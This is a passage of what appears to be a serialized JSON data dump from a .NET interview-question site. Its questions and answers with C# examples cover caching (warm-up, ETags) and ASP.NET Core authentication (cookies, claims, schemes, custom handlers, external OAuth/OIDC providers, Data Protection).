.Take(100)\n            .AsNoTracking()\n            .ToListAsync(ct);\n\n        foreach (var product in topProducts)\n            _cache.Set($\"product:{product.Id}\", product, TimeSpan.FromMinutes(30));\n\n        _logger.LogInformation(\"Cache warm-up complete: {Count} products loaded\",\n            topProducts.Count);\n    }\n\n    public Task StopAsync(CancellationToken ct) => Task.CompletedTask;\n}\n\n\u002F\u002F Registration — runs before the app starts accepting traffic:\nbuilder.Services.AddHostedService\u003CCacheWarmupService>();\n```\n\nIn Kubernetes, keep the readiness probe returning `503` until warm-up completes\nby setting a flag that the readiness health check reads:\n\n```csharp\n\u002F\u002F Simple flag — readiness check returns Unhealthy until flag is set:\nbuilder.Services.AddSingleton\u003CCacheWarmupFlag>();\nbuilder.Services.AddHealthChecks()\n    .AddCheck\u003CCacheWarmupHealthCheck>(\"cache-warmup\", tags: [\"readiness\"]);\n```\n\n**Rule of thumb:** Warm only the data that is both expensive to compute and\naccessed on virtually every request. Warming too much delays startup and wastes\nmemory on data that may never be needed.\n",{"id":539,"difficulty":96,"q":540,"a":541},"etag-conditional-caching","What are ETags and how do you implement HTTP conditional caching in ASP.NET Core?","An **ETag** is a hash or version token attached to an HTTP response. On\nsubsequent requests the client sends the ETag back in `If-None-Match`; if\nthe resource has not changed the server returns `304 Not Modified` with no\nbody, saving bandwidth and processing.\n\n```csharp\n\u002F\u002F Manual ETag — compute a hash of the response data:\n[HttpGet(\"products\u002F{id}\")]\npublic async Task\u003CIActionResult> GetProduct(int id)\n{\n    var product = await _cache.GetOrCreateAsync($\"product:{id}\",\n        entry => { entry.AbsoluteExpirationRelativeToNow = TimeSpan.FromMinutes(10);\n                   return _db.Products.FindAsync(id).AsTask(); });\n\n    if (product is null) return NotFound();\n\n    \u002F\u002F Compute a deterministic ETag from the entity's updated timestamp:\n    var etag = new EntityTagHeaderValue(\n        $\"\\\"{product.UpdatedAt.Ticks}\\\"\");\n\n    \u002F\u002F Check the request's If-None-Match header:\n    if (Request.Headers.IfNoneMatch.ToString() == etag.ToString())\n        return StatusCode(StatusCodes.Status304NotModified); \u002F\u002F no body sent\n\n    Response.Headers.ETag = etag.ToString();\n    Response.Headers.CacheControl = \"private, max-age=0, must-revalidate\";\n    return Ok(product);\n}\n\n\u002F\u002F Middleware approach — ResponseCaching honours ETags automatically\n\u002F\u002F when the response has Cache-Control: public, max-age=N\n\u002F\u002F and the client sends If-None-Match or If-Modified-Since.\n\n\u002F\u002F For collections — hash the whole result set:\nvar hash = Convert.ToHexString(\n    SHA256.HashData(\n        Encoding.UTF8.GetBytes(JsonSerializer.Serialize(products))));\nvar etag = new EntityTagHeaderValue($\"\\\"{hash}\\\"\");\n```\n\nETag benefits:\n- **Bandwidth savings** — 304 response has no body\n- **Client freshness** — client always gets fresh data when it changes\n- **Reduced server load** — skip serialization on 304 path\n\n**Rule of thumb:** Use ETags for large resources (product listings, reports)\nwhere the response body is kilobytes or more. For tiny payloads the overhead\nof hashing and the extra round-trip makes ETags counterproductive — a short\n`max-age` is simpler and faster.\n",{"description":94},"Caching interview questions — IMemoryCache, IDistributedCache, Redis, cache-aside pattern, output caching, cache invalidation, and cache stampede.","dotnet\u002Fperformance-deployment\u002Fcaching","jRccySZ3LoYKXy7il4ZmR6dZmQ79CTBvLctoRRHMJq0",{"id":547,"title":548,"body":549,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":553,"navigation":99,"order":13,"path":554,"questions":555,"questionsCount":163,"related":164,"seo":616,"seoDescription":617,"stem":618,"subtopic":548,"topic":64,"topicSlug":66,"updated":168,"__hash__":619},"qa\u002Fdotnet\u002Fsecurity\u002Fauthentication.md","Authentication",{"type":91,"value":550,"toc":551},[],{"title":94,"searchDepth":29,"depth":29,"links":552},[],{},"\u002Fdotnet\u002Fsecurity\u002Fauthentication",[556,560,564,568,572,576,580,584,588,592,596,600,604,608,612],{"id":557,"difficulty":104,"q":558,"a":559},"auth-vs-authz","What is the difference between authentication and authorization in ASP.NET Core?","**Authentication** answers \"who are you?\" — it establishes the caller's identity.\n**Authorization** answers \"what are you allowed to do?\" — it checks whether the\nidentified caller has permission to perform an action.\n\n```csharp\n\u002F\u002F Authentication — establish identity (runs first, via middleware):\napp.UseAuthentication(); \u002F\u002F populates HttpContext.User from cookie\u002Ftoken\n\n\u002F\u002F Authorization — check permissions (runs second):\napp.UseAuthorization();  \u002F\u002F evaluates [Authorize] attributes \u002F policies\n\n\u002F\u002F Execution order matters — swapping them breaks auth entirely:\n\u002F\u002F app.UseAuthorization();  \u002F\u002F HttpContext.User is still anonymous here\n\u002F\u002F app.UseAuthentication();\n\n\u002F\u002F What each middleware does:\n\u002F\u002F UseAuthentication: calls IAuthenticationService.AuthenticateAsync on each request\n\u002F\u002F → reads a cookie \u002F Bearer token → populates HttpContext.User (ClaimsPrincipal)\n\u002F\u002F UseAuthorization:  evaluates [Authorize] attributes and policies against that User\n\u002F\u002F → 401 (unauthenticated) or 403 (authenticated but forbidden) if checks fail\n\n[Authorize]           \u002F\u002F requires authentication (401 if anonymous)\n[Authorize(Roles = \"Admin\")] \u002F\u002F requires authentication + role (403 if wrong role)\npublic class AdminController : ControllerBase { }\n```\n\nIn ASP.NET Core, these are separate middleware and separate concerns. A request can\nbe authenticated (identity known) but not authorized (insufficient permissions), which\nproduces HTTP 403, not 401.\n\n**Rule of thumb:** `UseAuthentication` before `UseAuthorization`, always. Authentication\nestablishes identity; authorization uses it.\n",{"id":561,"difficulty":104,"q":562,"a":563},"add-authentication","How do you configure authentication in an ASP.NET Core application?","Authentication is added in two steps: **register** services with `AddAuthentication`\nand **wire** the middleware with `UseAuthentication`.\n\n```csharp\n\u002F\u002F Program.cs — cookie authentication (simplest scheme):\nbuilder.Services\n    .AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)\n    .AddCookie(options =>\n    {\n        options.LoginPath        = \"\u002Faccount\u002Flogin\";   \u002F\u002F redirect here when 401\n        options.AccessDeniedPath = \"\u002Faccount\u002Fdenied\";  \u002F\u002F redirect here when 403\n        options.ExpireTimeSpan   = TimeSpan.FromHours(8);\n        options.SlidingExpiration = true; \u002F\u002F reset expiry on each request\n    });\n\nvar app = builder.Build();\n\n\u002F\u002F Middleware pipeline (order is critical):\napp.UseRouting();\napp.UseAuthentication(); \u002F\u002F populate HttpContext.User\napp.UseAuthorization();  \u002F\u002F check permissions against that user\n\n\u002F\u002F Multiple schemes — default + JWT bearer:\nbuilder.Services\n    .AddAuthentication(options =>\n    {\n        options.DefaultAuthenticateScheme = CookieAuthenticationDefaults.AuthenticationScheme;\n        options.DefaultChallengeScheme    = JwtBearerDefaults.AuthenticationScheme;\n    })\n    .AddCookie()\n    .AddJwtBearer(options =>\n    {\n        options.Authority = \"https:\u002F\u002Fauth.example.com\";\n        options.Audience  = \"api1\";\n    });\n```\n\n**Rule of thumb:** Always call `AddAuthentication` before `AddAuthorization`, and\nalways place `UseAuthentication` before `UseAuthorization` in the pipeline. Missing\neither call silently leaves every request as anonymous.\n",{"id":565,"difficulty":104,"q":566,"a":567},"cookie-authentication","How does cookie authentication work in ASP.NET Core?","**Cookie authentication** serializes the user's `ClaimsPrincipal` into an encrypted,\ntamper-proof cookie. On subsequent requests, the middleware decrypts the cookie and\nrestores `HttpContext.User` — no database round-trip per request.\n\n```csharp\n\u002F\u002F Sign in — create the cookie:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    \u002F\u002F Build the claims the cookie will carry:\n    var claims = new List\u003CClaim>\n    {\n        new Claim(ClaimTypes.NameIdentifier, user.Id.ToString()),\n        new Claim(ClaimTypes.Email,           user.Email),\n        new Claim(ClaimTypes.Role,            user.Role),\n    };\n\n    var identity  = new ClaimsIdentity(claims, CookieAuthenticationDefaults.AuthenticationScheme);\n    var principal = new ClaimsPrincipal(identity);\n\n    \u002F\u002F Serialize + encrypt → Set-Cookie header:\n    await HttpContext.SignInAsync(\n        CookieAuthenticationDefaults.AuthenticationScheme,\n        principal,\n        new AuthenticationProperties\n        {\n            IsPersistent = dto.RememberMe,       \u002F\u002F survives browser close if true\n            ExpiresUtc   = DateTime.UtcNow.AddHours(8),\n        });\n\n    return Ok();\n}\n\n\u002F\u002F Sign out — delete the cookie:\n[HttpPost(\"logout\")]\npublic async Task\u003CIActionResult> Logout()\n{\n    await HttpContext.SignOutAsync(CookieAuthenticationDefaults.AuthenticationScheme);\n    return Ok();\n}\n\n\u002F\u002F The middleware restores the principal automatically on each request:\n\u002F\u002F Cookie header → decrypt → ClaimsPrincipal → HttpContext.User\n```\n\nThe cookie is encrypted with ASP.NET Core Data Protection. Rotating keys invalidates\nall existing sessions — plan key rotation carefully in production.\n\n**Rule of thumb:** Cookie auth is the right default for server-rendered web apps and\nSPAs in the same origin. For APIs consumed by mobile\u002Fcross-origin clients, use JWT bearer instead.\n",{"id":569,"difficulty":104,"q":570,"a":571},"claims-identity","What is claims-based identity and how does it work in .NET?","**Claims-based identity** represents a user as a set of name-value assertions\n(**claims**) rather than a binary \"logged in or not\". A `ClaimsPrincipal` contains one\nor more `ClaimsIdentity` objects, each holding a list of `Claim` instances.\n\n```csharp\n\u002F\u002F The three-layer model:\n\u002F\u002F Claim         — one assertion: (type, value, issuer)\n\u002F\u002F ClaimsIdentity — a collection of claims + the authentication scheme that created them\n\u002F\u002F ClaimsPrincipal — one or more identities (e.g., Windows + cookie at the same time)\n\n\u002F\u002F Reading claims from HttpContext.User (a ClaimsPrincipal):\nvar userId = User.FindFirstValue(ClaimTypes.NameIdentifier); \u002F\u002F \"42\"\nvar email  = User.FindFirstValue(ClaimTypes.Email);          \u002F\u002F \"alice@example.com\"\nvar roles  = User.FindAll(ClaimTypes.Role)\n                 .Select(c => c.Value)\n                 .ToList();                                   \u002F\u002F [\"Admin\", \"Editor\"]\n\n\u002F\u002F Boolean helpers:\nbool isAuth    = User.Identity?.IsAuthenticated ?? false;\nbool isAdmin   = User.IsInRole(\"Admin\");    \u002F\u002F checks ClaimTypes.Role claims\nstring? name   = User.Identity?.Name;       \u002F\u002F value of ClaimTypes.Name claim\n\n\u002F\u002F Well-known claim types (from System.Security.Claims):\n\u002F\u002F ClaimTypes.NameIdentifier — user's unique ID\n\u002F\u002F ClaimTypes.Email          — email address\n\u002F\u002F ClaimTypes.Name           — display name\n\u002F\u002F ClaimTypes.Role           — role membership\n\u002F\u002F ClaimTypes.DateOfBirth    — etc.\n\n\u002F\u002F Custom claims — any string key is valid:\nvar tenantId = User.FindFirstValue(\"tenant_id\"); \u002F\u002F app-specific claim\n```\n\n**Rule of thumb:** Prefer `ClaimTypes.*` constants over raw strings for standard\nclaims so your code stays compatible with token issuers that use the long URI forms.\nAdd custom claims sparingly — keep sensitive data out of cookies\u002Ftokens.\n",{"id":573,"difficulty":96,"q":574,"a":575},"authentication-schemes","What are authentication schemes and how do you configure multiple schemes?","An **authentication scheme** is a named configuration of an authentication handler —\nthe combination of a handler type and its options. Multiple schemes can coexist;\nthe default scheme is used when no scheme is explicitly specified.\n\n```csharp\nbuilder.Services\n    .AddAuthentication(options =>\n    {\n        \u002F\u002F Default scheme for all operations unless overridden:\n        options.DefaultScheme            = CookieAuthenticationDefaults.AuthenticationScheme;\n        \u002F\u002F Override per operation when you need different behavior:\n        options.DefaultChallengeScheme   = JwtBearerDefaults.AuthenticationScheme;\n        options.DefaultAuthenticateScheme = CookieAuthenticationDefaults.AuthenticationScheme;\n    })\n    .AddCookie(CookieAuthenticationDefaults.AuthenticationScheme) \u002F\u002F \"Cookies\"\n    .AddJwtBearer(JwtBearerDefaults.AuthenticationScheme)         \u002F\u002F \"Bearer\"\n    .AddGoogle(\"Google\", options =>                               \u002F\u002F custom name\n    {\n        options.ClientId     = config[\"Auth:Google:ClientId\"];\n        options.ClientSecret = config[\"Auth:Google:ClientSecret\"];\n    });\n\n\u002F\u002F Select a specific scheme on a controller or endpoint:\n[Authorize(AuthenticationSchemes = JwtBearerDefaults.AuthenticationScheme)]\n[ApiController]\npublic class ApiController : ControllerBase { }\n\n\u002F\u002F Or use a policy that specifies the scheme:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"ApiOnly\", policy =>\n        policy.AddAuthenticationSchemes(JwtBearerDefaults.AuthenticationScheme)\n              .RequireAuthenticatedUser());\n```\n\n**Rule of thumb:** Use the default scheme for the majority of your app. Only specify\nper-endpoint schemes for areas that genuinely use a different auth mechanism (e.g.,\nAPI endpoints using JWT while the admin UI uses cookies).\n",{"id":577,"difficulty":206,"q":578,"a":579},"custom-auth-handler","How do you implement a custom authentication handler in ASP.NET Core?","Implement **`AuthenticationHandler\u003CTOptions>`** and register it with `AddScheme\u003C>`.\nThe framework calls `HandleAuthenticateAsync` on every request matching the scheme.\n\n```csharp\n\u002F\u002F Options — scheme configuration:\npublic class ApiKeyAuthOptions : AuthenticationSchemeOptions\n{\n    public string HeaderName { get; set; } = \"X-Api-Key\";\n}\n\n\u002F\u002F Handler — core logic:\npublic class ApiKeyAuthHandler : AuthenticationHandler\u003CApiKeyAuthOptions>\n{\n    private readonly IApiKeyStore _store;\n\n    public ApiKeyAuthHandler(\n        IOptionsMonitor\u003CApiKeyAuthOptions> options,\n        ILoggerFactory logger,\n        UrlEncoder encoder,\n        IApiKeyStore store)\n        : base(options, logger, encoder)\n    {\n        _store = store;\n    }\n\n    protected override async Task\u003CAuthenticateResult> HandleAuthenticateAsync()\n    {\n        if (!Request.Headers.TryGetValue(Options.HeaderName, out var keyValues))\n            return AuthenticateResult.NoResult(); \u002F\u002F scheme not applicable\n\n        var apiKey = keyValues.FirstOrDefault();\n        var client = await _store.FindByKeyAsync(apiKey);\n\n        if (client is null)\n            return AuthenticateResult.Fail(\"Invalid API key\");\n\n        var claims = new[]\n        {\n            new Claim(ClaimTypes.NameIdentifier, client.ClientId),\n            new Claim(ClaimTypes.Name,           client.Name),\n        };\n        var identity  = new ClaimsIdentity(claims, Scheme.Name);\n        var principal = new ClaimsPrincipal(identity);\n        var ticket    = new AuthenticationTicket(principal, Scheme.Name);\n\n        return AuthenticateResult.Success(ticket);\n    }\n\n    \u002F\u002F Challenge = 401 response when unauthenticated:\n    protected override Task HandleChallengeAsync(AuthenticationProperties properties)\n    {\n        Response.StatusCode  = 401;\n        Response.Headers.WWWAuthenticate = $\"ApiKey realm=\\\"api\\\", header=\\\"{Options.HeaderName}\\\"\";\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F Register the scheme:\nbuilder.Services\n    .AddAuthentication()\n    .AddScheme\u003CApiKeyAuthOptions, ApiKeyAuthHandler>(\"ApiKey\", options => { });\n```\n\n**Rule of thumb:** `AuthenticateResult.NoResult()` means \"this scheme doesn't apply\";\n`AuthenticateResult.Fail()` means \"this scheme applies but the credential is invalid\".\nThe distinction matters when multiple schemes are evaluated in order.\n",{"id":581,"difficulty":104,"q":582,"a":583},"sign-in-sign-out","How do SignInAsync and SignOutAsync work and what do they actually do?","**`SignInAsync`** calls the authentication scheme's handler to persist the principal\n(writing a cookie, issuing a token, etc.). **`SignOutAsync`** calls the handler to\nremove that persistence (clearing the cookie, revoking the session).\n\n```csharp\n\u002F\u002F SignInAsync — persists the ClaimsPrincipal using the specified scheme:\nawait HttpContext.SignInAsync(\n    scheme: CookieAuthenticationDefaults.AuthenticationScheme,\n    principal: new ClaimsPrincipal(identity),\n    properties: new AuthenticationProperties\n    {\n        IsPersistent  = true,                          \u002F\u002F survive browser close\n        ExpiresUtc    = DateTimeOffset.UtcNow.AddDays(30),\n        RedirectUri   = \"\u002Fdashboard\",                  \u002F\u002F post-login redirect\n        IssuedUtc     = DateTimeOffset.UtcNow,\n        AllowRefresh  = true,\n    });\n\u002F\u002F For cookies: sets an encrypted Set-Cookie header.\n\u002F\u002F For JWT: you would generate and return a token yourself — SignInAsync isn't used.\n\n\u002F\u002F SignOutAsync — removes the session for the specified scheme:\nawait HttpContext.SignOutAsync(CookieAuthenticationDefaults.AuthenticationScheme);\n\u002F\u002F For cookies: sets an expired Set-Cookie to clear the client cookie.\n\n\u002F\u002F AuthenticateAsync — reads\u002Fvalidates the current request's credential:\nvar result = await HttpContext.AuthenticateAsync();\nif (result.Succeeded)\n{\n    var user = result.Principal; \u002F\u002F ClaimsPrincipal\n}\n\u002F\u002F This is what UseAuthentication middleware calls automatically each request.\n\n\u002F\u002F ChallengeAsync — trigger 401 + redirect to login:\nawait HttpContext.ChallengeAsync();\n\n\u002F\u002F ForbidAsync — trigger 403 (authenticated but not allowed):\nawait HttpContext.ForbidAsync();\n```\n\n**Rule of thumb:** `SignInAsync` and `SignOutAsync` are handler-specific. For cookie\nauth they write\u002Fclear cookies. For JWT-based APIs, you generate tokens manually — there's\nno `SignInAsync` step on the server.\n",{"id":585,"difficulty":96,"q":586,"a":587},"challenge-vs-forbid","What is the difference between Challenge and Forbid in ASP.NET Core authentication?","**Challenge** (HTTP 401) means the request is unauthenticated — the caller's identity\nis unknown. **Forbid** (HTTP 403) means the request is authenticated but the caller\nlacks the required permission.\n\n```csharp\n\u002F\u002F The framework calls these automatically for [Authorize] failures:\n\u002F\u002F Anonymous user → 401 Challenge (redirect to login for cookies, WWW-Authenticate for API)\n\u002F\u002F Authenticated user without required role → 403 Forbid\n\n\u002F\u002F You can also trigger them manually in controllers:\npublic IActionResult GetAdminData()\n{\n    if (!User.Identity!.IsAuthenticated)\n        return Challenge(); \u002F\u002F 401 — please log in\n\n    if (!User.IsInRole(\"Admin\"))\n        return Forbid();    \u002F\u002F 403 — you're logged in but not an admin\n\n    return Ok(_adminService.GetData());\n}\n\n\u002F\u002F IActionResult vs HttpContext extension:\nreturn Challenge(JwtBearerDefaults.AuthenticationScheme); \u002F\u002F use specific scheme\nawait HttpContext.ChallengeAsync(JwtBearerDefaults.AuthenticationScheme);\n\n\u002F\u002F Cookie auth behavior:\n\u002F\u002F Challenge → 302 redirect to options.LoginPath (e.g., \u002Faccount\u002Flogin)\n\u002F\u002F Forbid    → 302 redirect to options.AccessDeniedPath (e.g., \u002Faccount\u002Fdenied)\n\n\u002F\u002F JWT bearer auth behavior:\n\u002F\u002F Challenge → 401 with WWW-Authenticate: Bearer header\n\u002F\u002F Forbid    → 403 with no redirect\n\n\u002F\u002F Custom override — if default scheme behavior doesn't suit you:\nbuilder.Services.AddAuthentication()\n    .AddCookie(options =>\n    {\n        options.Events.OnRedirectToLogin        = ctx => { ctx.Response.StatusCode = 401; return Task.CompletedTask; };\n        options.Events.OnRedirectToAccessDenied = ctx => { ctx.Response.StatusCode = 403; return Task.CompletedTask; };\n    });\n\u002F\u002F Useful for cookie auth serving an API — return status codes instead of redirects.\n```\n\n**Rule of thumb:** 401 means \"log in\"; 403 means \"you're logged in but you can't do that\".\nThe distinction matters for clients — a browser follows the 401 redirect; an API client\nshould not.\n",{"id":589,"difficulty":96,"q":590,"a":591},"claims-principal-population","How and when is HttpContext.User populated during a request?","`HttpContext.User` is populated by the **`UseAuthentication` middleware** early in the\npipeline. It calls `IAuthenticationService.AuthenticateAsync` using the default scheme,\nwhich reads the credential (cookie\u002Ftoken) from the request and returns a `ClaimsPrincipal`.\n\n```csharp\n\u002F\u002F Execution flow for every request:\n\u002F\u002F 1. UseAuthentication middleware fires\n\u002F\u002F 2. Calls AuthenticationService.AuthenticateAsync(defaultScheme)\n\u002F\u002F 3. Handler reads the credential (e.g., decrypts cookie, validates JWT)\n\u002F\u002F 4. Returns AuthenticateResult.Success(ticket) if valid\n\u002F\u002F 5. Middleware sets: HttpContext.User = ticket.Principal\n\u002F\u002F 6. If no valid credential: HttpContext.User = new ClaimsPrincipal() (anonymous)\n\n\u002F\u002F If UseAuthentication is missing, User is always anonymous:\n\u002F\u002F HttpContext.User.Identity.IsAuthenticated → false\n\u002F\u002F HttpContext.User.Identity.Name           → null\n\n\u002F\u002F Accessing User in a controller or Razor Page:\npublic class OrdersController : ControllerBase\n{\n    public IActionResult GetMyOrders()\n    {\n        var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n        \u002F\u002F User is always populated (may be anonymous) — never null\n    }\n}\n\n\u002F\u002F Accessing User in minimal APIs:\napp.MapGet(\"\u002Forders\", (ClaimsPrincipal user) =>\n{\n    var userId = user.FindFirstValue(ClaimTypes.NameIdentifier);\n    return userId is null ? Results.Unauthorized() : Results.Ok();\n});\n\n\u002F\u002F Accessing User outside of request context (e.g., a service):\n\u002F\u002F Inject IHttpContextAccessor and access .HttpContext?.User\npublic class CurrentUserService\n{\n    private readonly IHttpContextAccessor _accessor;\n    public CurrentUserService(IHttpContextAccessor accessor) => _accessor = accessor;\n\n    public string? UserId => _accessor.HttpContext?.User\n        .FindFirstValue(ClaimTypes.NameIdentifier);\n}\n\u002F\u002F Register: builder.Services.AddHttpContextAccessor();\n```\n\n**Rule of thumb:** `HttpContext.User` is always a `ClaimsPrincipal` — never null. Check\n`IsAuthenticated` before reading claims. Avoid `IHttpContextAccessor` in domain services;\npass the user ID as a parameter instead.\n",{"id":593,"difficulty":96,"q":594,"a":595},"windows-auth","What is Windows Authentication and when would you use it in ASP.NET Core?","**Windows Authentication** uses the OS-level Kerberos\u002FNTLM protocol to authenticate\nusers against Active Directory. The browser negotiates credentials automatically on\ncorporate networks — no login form needed.\n\n```csharp\n\u002F\u002F Program.cs — enable Windows auth (Kestrel or IIS):\nbuilder.Services.AddAuthentication(NegotiateDefaults.AuthenticationScheme)\n    .AddNegotiate();\n\nbuilder.Services.AddAuthorization();\n\n\u002F\u002F launchSettings.json \u002F appsettings (for Kestrel):\n\u002F\u002F \"windowsAuthentication\": true, \"anonymousAuthentication\": false\n\n\u002F\u002F IIS: enable \"Windows Authentication\" in the IIS Authentication feature panel.\n\u002F\u002F Kestrel: install Microsoft.AspNetCore.Authentication.Negotiate NuGet package.\n\n\u002F\u002F Reading Windows identity claims:\n[Authorize]\npublic class ReportsController : ControllerBase\n{\n    public IActionResult GetReport()\n    {\n        var windowsUser = User.Identity?.Name;         \u002F\u002F \"DOMAIN\\\\alice\"\n        var isAdmin     = User.IsInRole(\"DOMAIN\\\\AdminGroup\"); \u002F\u002F AD group check\n        return Ok(windowsUser);\n    }\n}\n\n\u002F\u002F When to use it:\n\u002F\u002F Internal corporate line-of-business apps (intranet)\n\u002F\u002F Users are on the same AD domain as the server\n\u002F\u002F No-login-form requirement (seamless SSO experience)\n\u002F\u002F Public-facing apps (users aren't on the domain)\n\u002F\u002F Mobile\u002FAPI clients (no browser to negotiate NTLM\u002FKerberos)\n\u002F\u002F Docker\u002FLinux hosts (limited Kerberos support without workarounds)\n```\n\n**Rule of thumb:** Windows Authentication is the right default for internal enterprise\napps where all users are on the corporate domain. For public apps or REST APIs, use\ncookie auth or JWT instead.\n",{"id":597,"difficulty":96,"q":598,"a":599},"external-providers","How do you add external OAuth\u002FOIDC providers like Google or Microsoft to ASP.NET Core?","ASP.NET Core has built-in OAuth 2.0 and OpenID Connect handlers. Each provider is\nregistered as a named scheme; the framework handles the redirect dance, token exchange,\nand claim mapping automatically.\n\n```csharp\n\u002F\u002F Add NuGet: Microsoft.AspNetCore.Authentication.Google\nbuilder.Services\n    .AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)\n    .AddCookie()         \u002F\u002F cookie to persist the identity after OAuth completes\n    .AddGoogle(options =>\n    {\n        options.ClientId     = config[\"Auth:Google:ClientId\"];\n        options.ClientSecret = config[\"Auth:Google:ClientSecret\"];\n        \u002F\u002F Map Google profile claims to standard ClaimTypes:\n        options.ClaimActions.MapJsonKey(ClaimTypes.Email,      \"email\");\n        options.ClaimActions.MapJsonKey(ClaimTypes.GivenName,  \"given_name\");\n        options.ClaimActions.MapJsonKey(\"picture\",             \"picture\");\n        \u002F\u002F Scopes to request:\n        options.Scope.Add(\"profile\");\n        options.Scope.Add(\"email\");\n    })\n    .AddMicrosoftAccount(options =>\n    {\n        options.ClientId     = config[\"Auth:Microsoft:ClientId\"];\n        options.ClientSecret = config[\"Auth:Microsoft:ClientSecret\"];\n    })\n    .AddOpenIdConnect(\"AzureAD\", options =>\n    {\n        options.Authority    = $\"https:\u002F\u002Flogin.microsoftonline.com\u002F{tenantId}\";\n        options.ClientId     = config[\"Auth:AzureAD:ClientId\"];\n        options.ClientSecret = config[\"Auth:AzureAD:ClientSecret\"];\n        options.ResponseType = OpenIdConnectResponseType.Code;\n    });\n\n\u002F\u002F Trigger login redirect from an endpoint:\n[HttpGet(\"login\u002Fgoogle\")]\npublic IActionResult LoginGoogle()\n    => Challenge(new AuthenticationProperties { RedirectUri = \"\u002F\" }, \"Google\");\n```\n\n**Rule of thumb:** Always pair external OAuth with a local cookie scheme. The OAuth scheme\nhandles the redirect; the cookie scheme persists the resulting identity so subsequent\nrequests don't re-trigger the OAuth flow.\n",{"id":601,"difficulty":96,"q":602,"a":603},"data-protection","What is ASP.NET Core Data Protection and how does it relate to authentication?","**Data Protection** is ASP.NET Core's key management and cryptographic API. Authentication\ncookies, antiforgery tokens, and the `IDataProtector` API all use it under the hood.\n\n```csharp\n\u002F\u002F Data Protection encrypts the cookie payload — the default is automatic:\n\u002F\u002F No explicit configuration needed for a single machine.\n\n\u002F\u002F For multi-machine deployments or persistence across restarts,\n\u002F\u002F configure a shared key store:\n\n\u002F\u002F Option 1 — persist keys to the file system (e.g., a shared network path):\nbuilder.Services.AddDataProtection()\n    .PersistKeysToFileSystem(new DirectoryInfo(\"\u002Fkeys\"))\n    .SetApplicationName(\"MyApp\");       \u002F\u002F required when multiple apps share the path\n\n\u002F\u002F Option 2 — persist keys to Azure Blob + protect with Azure Key Vault:\nbuilder.Services.AddDataProtection()\n    .PersistKeysToAzureBlobStorage(blobClient)\n    .ProtectKeysWithAzureKeyVault(keyVaultClient, keyIdentifier);\n\n\u002F\u002F Option 3 — persist to Redis (for containerized apps):\nbuilder.Services.AddDataProtection()\n    .PersistKeysToStackExchangeRedis(redis, \"DataProtection-Keys\");\n\n\u002F\u002F Direct use — encrypt\u002Fdecrypt arbitrary payloads:\nvar protector = dataProtectionProvider.CreateProtector(\"my-purpose\");\nstring ciphertext = protector.Protect(\"sensitive-value\");\nstring plaintext  = protector.Unprotect(ciphertext);\n\n\u002F\u002F Key rotation — old keys are kept for decryption but new keys are used for encryption:\n\u002F\u002F Existing cookies remain valid; new cookies use the new key automatically.\n```\n\n**Rule of thumb:** In production, always configure a shared, persistent key store for\nData Protection. Without it, every app restart or scale-out node generates new keys —\ninvalidating all existing sessions and antiforgery tokens.\n",{"id":605,"difficulty":104,"q":606,"a":607},"auth-in-minimal-api","How do you protect endpoints in minimal APIs with authentication?","Minimal API endpoints are protected with `RequireAuthorization()` or the\n`[Authorize]` attribute (when applied to the endpoint group). `AllowAnonymous()`\noverrides on specific routes.\n\n```csharp\nvar app = builder.Build();\n\n\u002F\u002F Protect a single endpoint:\napp.MapGet(\"\u002Fprofile\", (ClaimsPrincipal user) =>\n{\n    return Results.Ok(new { Name = user.Identity!.Name });\n}).RequireAuthorization();\n\n\u002F\u002F Protect a group of endpoints and open one:\nvar api = app.MapGroup(\"\u002Fapi\").RequireAuthorization();\n\napi.MapGet(\"\u002Forders\",   (IOrderService svc) => svc.GetAll());    \u002F\u002F protected\napi.MapPost(\"\u002Forders\",  (CreateOrderDto dto, IOrderService svc) => svc.Create(dto)); \u002F\u002F protected\napi.MapGet(\"\u002Fhealth\",   ()  => Results.Ok()).AllowAnonymous();   \u002F\u002F open\n\n\u002F\u002F Apply a named policy:\napp.MapDelete(\"\u002Forders\u002F{id:int}\", async (int id, IOrderService svc) =>\n{\n    await svc.DeleteAsync(id);\n    return Results.NoContent();\n}).RequireAuthorization(\"AdminOnly\");\n\n\u002F\u002F Access the current user — inject ClaimsPrincipal directly:\napp.MapGet(\"\u002Fme\", (ClaimsPrincipal user) =>\n    Results.Ok(new\n    {\n        Id    = user.FindFirstValue(ClaimTypes.NameIdentifier),\n        Email = user.FindFirstValue(ClaimTypes.Email),\n    })\n).RequireAuthorization();\n```\n\n**Rule of thumb:** Group related endpoints with `MapGroup` and call `RequireAuthorization`\nonce on the group. Only use `.AllowAnonymous()` on individual endpoints that explicitly need\nto be public.\n",{"id":609,"difficulty":96,"q":610,"a":611},"oidc-authentication","What is OpenID Connect and how does it differ from OAuth 2.0 in ASP.NET Core?","**OAuth 2.0** is an authorization framework — it grants access tokens so an app can\nact on a user's behalf. **OpenID Connect (OIDC)** is an identity layer built on top of\nOAuth 2.0 that adds an **ID token** containing the user's identity claims, enabling\ntrue authentication.\n\n```csharp\n\u002F\u002F OAuth 2.0 alone — grants an access token; tells you \"what\" but not \"who\":\n\u002F\u002F Access token: opaque credential to call an API on the user's behalf.\n\u002F\u002F You have to call the \u002Fuserinfo endpoint separately to get identity.\n\n\u002F\u002F OIDC — adds an ID token (a JWT) carrying the user's identity:\n\u002F\u002F ID token: { sub, name, email, iat, exp, iss, aud } — signed by the identity provider.\n\u002F\u002F Access token: still issued alongside for API calls.\n\u002F\u002F Refresh token: optional, for long-lived sessions.\n\n\u002F\u002F Configure OIDC in ASP.NET Core (works with any OIDC provider):\nbuilder.Services\n    .AddAuthentication(options =>\n    {\n        options.DefaultScheme          = CookieAuthenticationDefaults.AuthenticationScheme;\n        options.DefaultChallengeScheme = OpenIdConnectDefaults.AuthenticationScheme;\n    })\n    .AddCookie()\n    .AddOpenIdConnect(options =>\n    {\n        options.Authority     = \"https:\u002F\u002Flogin.microsoftonline.com\u002F{tenant-id}\u002Fv2.0\";\n        options.ClientId      = config[\"AzureAd:ClientId\"];\n        options.ClientSecret  = config[\"AzureAd:ClientSecret\"];\n        options.ResponseType  = 